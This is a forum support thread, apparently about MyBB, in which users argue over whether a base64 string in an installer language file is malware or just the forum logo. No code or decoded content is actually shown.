This looks like malicious code, it is definitely nothing that should be in a language file.

Where did you get this version of MyBB from?? That is most certainly not MyBB code.

I'd advise you deleted all the MyBB files and upload a fresh package from here: http://www.mybb.com/downloads

Definitely re-upload MyBB.

This came with what I downloaded from the download page here

Ok I have tried redownloading it and fresh installing it, but I am getting the same error this is where I am getting it from Download

I double checked, and there is no default code containing them. Make sure you delete all files you've uploaded, then upload a fresh package.

I've just downloaded the package twice from http://www.mybb.com/download/latest to check it.
In both packages in "install/resources/language.lang.php" line 168 contains:

That's the logo in base64, nothing harmful.

Ok, but if you decode it, you get this:

Erm, no you don't. Did you bother to decode it?
